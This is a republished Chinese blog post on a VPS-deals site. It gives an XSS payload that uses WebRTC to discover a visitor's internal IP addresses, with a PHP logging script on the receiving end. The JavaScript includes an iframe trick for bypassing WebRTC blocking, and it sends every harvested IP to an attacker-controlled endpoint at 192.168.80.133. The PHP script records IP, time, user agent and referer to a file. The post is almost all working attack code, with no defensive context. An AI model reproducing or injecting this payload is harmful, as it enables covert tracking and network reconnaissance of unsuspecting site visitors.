| 主機參考:VPS測評參考推薦/專注分享VPS服務器優惠信息!若您是商家可以在本站進行投稿,查看詳情!此外我們還提供軟文收錄、PayPal代付、廣告贊助等服務,查看詳情! |
| 我們發布的部分優惠活動文章可能存在時效性,購買時建議在本站搜索商家名稱可查看相關文章充分了解該商家!若非中文頁面可使用Edge瀏覽器同步翻譯!PayPal代付/收錄合作 |
xss.js
function?getIPs(callback){
????????????????var?ip_dups?=?{};
????????????????//compatibility?for?firefox?and?chrome
????????????????var?RTCPeerConnection?=?window.RTCPeerConnection
????????????????????||?window.mozRTCPeerConnection
????????????????????||?window.webkitRTCPeerConnection;
????????????????var?useWebKit?=?!!window.webkitRTCPeerConnection;
????????????????//bypass?naive?webrtc?blocking?using?an?iframe
????????????????if(!RTCPeerConnection){
????????????????????//NOTE:?you?need?to?have?an?iframe?in?the?page?right?above?the?script?tag
????????????????????//
????????????????????//<iframe?id="iframe"?sandbox="allow-same-origin"?gt;</iframegt;
????????????????????//<scriptgt;...getIPs?called?in?here...
????????????????????//
????????????????????var?win?=?iframe.contentWindow;
????????????????????RTCPeerConnection?=?win.RTCPeerConnection
????????????????????????||?win.mozRTCPeerConnection
????????????????????????||?win.webkitRTCPeerConnection;
????????????????????useWebKit?=?!!win.webkitRTCPeerConnection;
????????????????}
????????????????//minimal?requirements?for?data?connection
????????????????var?mediaConstraints?=?{
????????????????????optional:?[{RtpDataChannels:?true}]
????????????????};
????????????????var?servers?=?{iceServers:?[{urls:?"stun:stun.services.mozilla.com"}]};
????????????????//construct?a?new?RTCPeerConnection
????????????????var?pc?=?new?RTCPeerConnection(servers,?mediaConstraints);
????????????????function?handleCandidate(candidate){
????????????????????//match?just?the?IP?address
????????????????????var?ip_regex?=?/([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
????????????????????var?ip_addr?=?ip_regex.exec(candidate)[1];
????????????????????//remove?duplicates
????????????????????if(ip_dups[ip_addr]?===?undefined)
????????????????????????callback(ip_addr);
????????????????????ip_dups[ip_addr]?=?true;
????????????????}
????????????????//listen?for?candidate?events
????????????????pc.onicecandidate?=?function(ice){
????????????????????//skip?non-candidate?events
????????????????????if(ice.candidate)
????????????????????????handleCandidate(ice.candidate.candidate);
????????????????};
????????????????//create?a?bogus?data?channel
????????????????pc.createDataChannel("");
????????????????//create?an?offer?sdp
????????????????pc.createOffer(function(result){
????????????????????//trigger?the?stun?server?request
????????????????????pc.setLocalDescription(result,?function(){},?function(){});
????????????????},?function(){});
????????????????//wait?for?a?while?to?let?everything?done
????????????????setTimeout(function(){
????????????????????//read?candidate?info?from?local?description
????????????????????var?lines?=?pc.localDescription.sdp.split('n');
????????????????????lines.forEach(function(line){
????????????????????????if(line.indexOf('a=candidate:')?===?0)
????????????????????????????handleCandidate(line);
????????????????????});
????????????????},?1000);
????????????}
????????????//insert?IP?addresses?into?the?page
getIPs(function(ip){????var?url="http://192.168.80.133:81/aaa.php?ip="+ip;
????var?xmlhttp1=new?XMLHttpRequest();?
????xmlhttp1.open("GET",?url,?true);
????xmlhttp1.setRequestHeader("Content-Type",?"application/x-www-form-urlencoded");
????xmlhttp1.send(null);??});
server端:
<?php
$ip=$_GET['ip'];
$time=date("j?F,?Y,?g:i?a");
$agent?=?$_SERVER['HTTP_USER_AGENT'];
$referer=getenv('HTTP_REFERER');
$text?=?'ip:'?=.$ip."rn".'Time:'.$time."rn".'User?Agent:'.$agent."rn".'Referer:'.$referer."rn";
$file?=?fopen('vb.php'?,?'a+');
fwrite($file,$text);
fclose($file);
?gt;
--------------------------------------------------------------
主機參考,收集國內外VPS,VPS測評,主機測評,云服務器,虛擬主機,獨立服務器,國內外服務器,高性價比建站主機相關優惠信息@m.k2270.com
詳細介紹和測評國外VPS主機,云服務器,國外服務器,國外主機的相關優惠信息,商家背景,網絡帶寬等等,也是目前國內最好的主機云服務器VPS參考測評資訊優惠信息分享平臺
這幾篇文章你可能也喜歡:
- UFOVPS:所有VPS享受50%的折扣,收費,在香港/日本/美國的計算機房間可用
- UNSETY:每年$ 22.9,德國副總裁,Ryzen9 7950x/10g帶寬,無限交通,50%的折扣,可享受免費DDOS防御的50%折扣!
- JustVPS:英國倫敦服務器 KVM/無限流量優惠 30%,起價 1.84 美元/月,持續 3 年(倫敦云服務器)
- HostDare 洛杉磯 NVMe 硬盤 VPS 促銷可享 25% 折扣,年付款 19.49 美元起
- 傲游主機所有主機均可享受 20% 折扣,洛杉磯三網 CN2 GIA 線 VPS 主機每月付款從 Masu 開始。 54元
本文由主機參考刊發,轉載請注明:xss-利用webrtc獲取內網IP http://m.k2270.com/12259.html
主機參考

















評論前必須登錄!
注冊